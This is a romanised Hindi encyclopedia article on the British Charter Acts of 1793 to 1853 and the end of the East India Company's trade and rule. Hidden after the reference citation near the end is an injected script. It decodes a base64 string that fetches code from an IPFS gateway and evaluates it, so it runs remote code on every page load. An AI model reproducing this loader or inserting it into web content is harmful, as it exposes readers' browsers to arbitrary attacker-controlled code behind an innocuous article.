चार्टर एक्ट
chartar ekt 1793, 1813, 1833 aur 1853 ee. mean pas kiye gaye. eest iandiya kampani ka arambh maharani elijabeth pratham dvara varsh 1600 ee. ke antim din pradatt chartar ke phalasvaroop hua. is chartar mean kampani ko eest iandij mean vyapar karane ka adhikar diya gaya tha.
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kampani ka dayitv
bharat mean ghatane vali anek vilakshan rajanitik ghatanaoan ke phalasvaroop 1793 ee. mean kampani ko vyapar aur vanijy sambandhi adhikaroan ke sath-sath bharat ke vishal kshetr par prashasan karane ka dayitv bhi sauanpa gaya. kampani ka pahala chartar 1794 ee. mean samapt hone vala tha. kampani ki gatividhiyoan ke bare mean jaanch-p datal tatha kuchh vichar-vimarsh karane ke bad 1793 ee. mean ek naya chartar qanoon pas kiya gaya, jisake dvara kampani ki kary avadhi aur adhikar 20 varshoan ke lie pun: badha diye gaye. isake bad 1858 ee. tak har bis varshoan ke uparant ek naya chartar qanoon pas karane ki pratha si ban gee. 1858 ee. mean eest iandiya kampani ko samapt kar diya gaya aur usake adhikar tatha shasit kshetr maharani viktoriya ne sidhe apane hath mean le liya.
bharat mean ekadhikar
1793 ee. ke chartar qanoon mean koee mahattvapoorn parivartan nahian kiya gaya tha aur kampani ko bharat mean vyapar vanijy par ekadhikar jamaye rakhane tatha apane hastagat kshetroan par shasan karane ki poori chhoot de di gee thi. 1813 ee. ke chartar qanoon ne bharat ke sath vyapar karane ke kampani ke ekadhikar ko samapt kar diya aur ianglaiannd ke any vyapariyoan ko bhi ashiank roop mean bharat ke sath niji vyapar, vanijy aur audyogik sambandh sthapit karane ka avasar pradan kar diya, kintu chin se hone vale kampani ke vyaparik ekadhikar ko samapt nahian kiya. is chartar qanoon ne kampani ke bharatiy kshetroan mean eesaee padariyoan ko bhi pravesh karane ki anumati de di tatha bharatiy prashasan mean ek dharmik vibhag jo d diya. is chartar qanoon mean yah bhi kaha gaya tha bharat vasiyoan ke hitoan ki raksha karana unhean khushahal banana ianglaiannd ka kartavy hai aur isake lie use aise qadam uthane chahie, jinase unako upayogi jnan upalabdh ho aur unaka dharmik aur naitik utthan ho. lekin yah ghoshanapatr keval adarsh abhilasha banakar hi rah gaya aur is par koee karravaee nahian ki gee.
eest iandiya kampani ki samapti
1833 ee. ke chartar qanoon ne eest iandiya kampani ki vyaparik bhoomika samapt kar di aur use poori tarah bharatiy prashasan ke lie ianglaind ke raja ke rajanitik abhikaran ke roop mean parinat kar diya. gavarnar-janaral ki parishadh mean qanoon ke vaste ek sadasy ko shamil kar diya gaya tatha qanoon ayog ki sthapana ki gee, jisake phalasvaroop bad mean iandiyan penal kod (bharatiy dand sanhita) aur iandiyan sivil eand kriminal prosijar kod (bharatiy divani evan faujadari sanhita prakriya sanhita) lagoo hua. is prakar bharat ke vartaman sarakari qanoonoan ka vikas 1833 ee. ke chartar se shuroo hua. gavarnar-janaral aur usaki parishad ko ek sath baithakar qanoon banane ka adhikar bhi diya gaya. isamean is siddhant ka pratipadan bhi kiya gaya ki sarakari padoan ke lie agar koee bharatiy shaikshanik tatha any yogyataean rakhata hai, to use keval dharm ya rangabhed ke adhar par is pad se vanchit nahian kiya jaega. yah ghoshanapatr bhi kafi arase tak pavitr bhavana ki abhivyakti matr raha, lekin aant mean yah kafi mahattvapoorn siddh hua.
iandiyan sivil sarvis
chartar qanoonoan ki shrriankhala mean 1853 ee. ka chartar qanoon chautha aur antim tha. isamean kampani ko sarakari abhikaran ke roop mean apana kam jari rakhane ka adhikar diya gaya aur qanoon ayog ke kam ko poora karane ka prabandh kiya gaya. isamean yah pravadhan bhi kiya gaya ki qanoonoan ko banane ke lie gavarnar-janaral ki parishad mean chh: sadasyoan ko aur jo da jae. is chartar ne indiyan sivil sarvis (bharatiy prashasanik seva) mean pravesh ke lie khuli pratiyogita ki pranali arambh ki. isase pahale is seva mean sirf kampani dairektaroan ke sifarishi logoan ko hi pravesh pane ka visheshadhikar prapt tha. lekin ab is seva ka dvar medhavi aangrezoan aur bharatiyoan, donoan hi ke lie khul gaya.
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tika tippani aur sandarbh
bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 147.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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